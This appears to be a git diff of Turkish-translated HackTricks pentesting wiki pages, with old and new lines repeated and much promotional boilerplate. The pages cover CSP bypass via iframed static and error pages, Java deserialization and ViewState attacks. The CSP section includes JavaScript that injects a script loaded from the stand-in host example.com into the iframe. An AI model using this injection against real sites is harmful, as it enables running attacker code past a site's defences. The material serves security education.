* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
Bir yapılandırma örneği:
Aşağıdaki gibi bir yapı:
```
Content-Security-Policy: default-src 'self' 'unsafe-inline';
```
Herhangi bir fonksiyonun, bir dize olarak iletilen kodu çalıştırmasını engeller. Örneğin: `eval, setTimeout, setInterval` gibi fonksiyonlar, `unsafe-eval` ayarı nedeniyle engellenir.
Herhangi bir kodu bir dize olarak ileten işlevlerin kullanımını yasaklar. Örneğin: `eval, setTimeout, setInterval` ayarı `unsafe-eval` nedeniyle engellenecektir.
Dış kaynaklardan gelen tüm içerikler engellenir, bunlar arasında resimler, CSS, WebSockets ve özellikle JS bulunur.
Ayrıca, dış kaynaklardan gelen herhangi bir içerik de engellenir; bu, resimler, CSS, WebSocket'ler ve özellikle JS'yi içerir.
### Metin ve Resimler Aracılığıyla
### Metin ve Resimler Üzerinden
Görüldüğü üzere modern tarayıcılar, görüntüleri ve metinleri HTML'e dönüştürerek gösterimlerini geliştirir (örneğin arka plan ayarları, ortalamalar vb.). Bu nedenle, `favicon.ico` veya `robots.txt` gibi bir resim veya metin dosyası bir `iframe` aracılığıyla açılırsa, HTML olarak işlenir. Özellikle bu sayfalar genellikle CSP başlıklarını içermez ve X-Frame-Options'ı içermeyebilir, bu da bunlardan herhangi bir JavaScript'in yürütülmesine olanak tanır:
Modern tarayıcıların, görüntüleri ve metinleri görüntüleme kalitesini artırmak için HTML'ye dönüştürdüğü gözlemlenmiştir (örneğin, arka plan ayarları, ortalama vb.). Sonuç olarak, `favicon.ico` veya `robots.txt` gibi bir resim veya metin dosyası bir `iframe` aracılığıyla açıldığında, HTML olarak işlenir. Özellikle, bu sayfaların genellikle CSP başlıkları yoktur ve X-Frame-Options içermeyebilir, bu da onlardan rastgele JavaScript'in çalıştırılmasına olanak tanır:
```javascript
frame=document.createElement("iframe");
frame.src="/css/bootstrap.min.css";
@ -32,9 +33,9 @@ script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);
```
### Hatalar Aracılığıyla
### Hatalar Üzerinden
Benzer şekilde, metin dosyaları veya resimler gibi hata yanıtları genellikle CSP başlıklarını içermez ve X-Frame-Options'ı atlayabilir. Hatalar, bir iframe içinde yüklenmeye zorlanabilir ve aşağıdaki eylemlere izin verebilir:
Benzer şekilde, metin dosyaları veya resimler gibi hata yanıtları genellikle CSP başlıkları olmadan gelir ve X-Frame-Options'ı atlayabilir. Hatalar bir iframe içinde yüklenmesi sağlanarak aşağıdaki eylemler gerçekleştirilebilir:
```javascript
// Inducing an nginx error
frame=document.createElement("iframe");
@ -54,7 +55,7 @@ document.body.appendChild(frame);
// Removal of cookies is crucial post-execution
for(var i=0;i<5;i++){document.cookie=i+"="}
```
Bahsedilen senaryolardan herhangi birini tetikledikten sonra, iframe içinde JavaScript yürütmesi aşağıdaki gibi gerçekleştirilebilir:
Belirtilen senaryolardan herhangi birini tetikledikten sonra, iframe içindeki JavaScript'in çalıştırılması aşağıdaki gibi mümkündür:
```javascript
script=document.createElement('script');
script.src='//example.com/csp.js';
@ -65,16 +66,17 @@ window.frames[0].document.head.appendChild(script);
* [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** isterseniz, [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin.**
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,31 +1,33 @@
# SS-Sızıntıları
# SS-Leaks
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **bizi** 🐦 [**Twitter'da**](https://twitter.com/hacktricks_live) [**@carlospolopm**](https://twitter.com/hacktricks_live) **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github depolarına PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
**Gönderiyi kontrol edin [https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks](https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks)**
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **bizi** 🐦 [**Twitter'da**](https://twitter.com/hacktricks_live) [**@carlospolopm**](https://twitter.com/hacktricks_live) **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github depolarına PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,28 +1,29 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramanla öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Bu gönderide, `java.io.Serializable` kullanarak bir örnek açıklanacak.
Bu POST'ta `java.io.Serializable` kullanarak bir örnek açıklanacaktır.
# Serializable
Java `Serializable` arayüzü (`java.io.Serializable`), sınıflarınızın **serileştirilmesi** ve **serileştirilmesi** gerekiyorsa uygulamanız gereken bir işaretleyici arayüzdür. Java nesne serileştirme (yazma) işlemi [ObjectOutputStream](http://tutorials.jenkov.com/java-io/objectoutputstream.html) ile yapılır ve deserializasyon (okuma) işlemi [ObjectInputStream](http://tutorials.jenkov.com/java-io/objectinputstream.html) ile yapılır.
Java `Serializable` arayüzü (`java.io.Serializable`, sınıflarınızın **serileştirilmesi** ve **deserileştirilmesi** için uygulaması gereken bir işaretçi arayüzüdür. Java nesne serileştirmesi (yazma) [ObjectOutputStream](http://tutorials.jenkov.com/java-io/objectoutputstream.html) ile yapılır ve deserileştirme (okuma) [ObjectInputStream](http://tutorials.jenkov.com/java-io/objectinputstream.html) ile yapılır.
Bir **Person sınıfı** örneğiyle bir örnek görelim. Bu sınıf **serileştirilebilir**. Bu sınıfın **readObject** işlevi üzerine yazılmıştır, bu nedenle bu **sınıfın herhangi bir nesnesi deserializasyon** yapıldığında bu **işlev** çalıştırılacaktır.\
Örnekte, Person sınıfının readObject işlevi, evcil hayvanının `eat()` işlevini ve bir Köpeğin `eat()` işlevini (bir nedenle) çağırır ve **calc.exe** çağırır. **Bu hesap makinesini çalıştırmak için bir Person nesnesini serileştirmeyi ve deserializasyon yapmayı göreceğiz:**
**Serileştirilebilir** bir **Person** sınıfı ile bir örneğe bakalım. Bu sınıf **readObject** fonksiyonunu **aşar**, böylece bu **sınıfın** **herhangi bir nesnesi** **deserileştirildiğinde** bu **fonksiyon** **çalıştırılacaktır**.\
Örnekte, Person sınıfının **readObject fonksiyonu**, evcil hayvanının `eat()` fonksiyonunu çağırır ve bir Köpek'in `eat()` fonksiyonu (bir sebepten dolayı) bir **calc.exe** çağırır. **Bu hesap makinesini çalıştırmak için bir Person nesnesini nasıl serileştirip deserileştireceğimizi göreceğiz:**
**Aşağıdaki örnek, [https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649](https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649) adresinden alınmıştır**
**Aşağıdaki örnek [https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649](https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649) adresinden alınmıştır.**
```java
import java.io.Serializable;
import java.io.*;
@ -95,19 +96,20 @@ payloadTest("test.ser");
```
## Sonuç
Bu çok temel örnekte görebileceğiniz gibi, buradaki "zayıflık", **readObject** fonksiyonunun **diğer zayıf fonksiyonları çağırması** nedeniyle ortaya çıkmaktadır.
Bu çok temel örnekte görebileceğiniz gibi, buradaki "ıklık" **readObject** fonksiyonu **diğer savunmasız fonksiyonları çağırdığı** için ortaya çıkmaktadır.
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da** takip edin.
* Hacking hilelerinizi **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek paylaşın.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,29 +1,31 @@
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile</strong>!</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
</details>
**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/** adresindeki harika yazıyı kontrol edin.
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile</strong>!</summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
**Aşağıdaki harika yazıyı kontrol edin** [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,32 +1,34 @@
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u takip edin**
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
Gönderilere göz atın:
Gönderileri kontrol edin:
* [https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html)
* [https://0xrick.github.io/hack-the-box/arkham/](https://0xrick.github.io/hack-the-box/arkham/)
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u takip edin**
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,31 +1,32 @@
# PHP - Deserialization + Otomatik Yükleme Sınıfları
# PHP - Deserialization + Autoload Classes
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
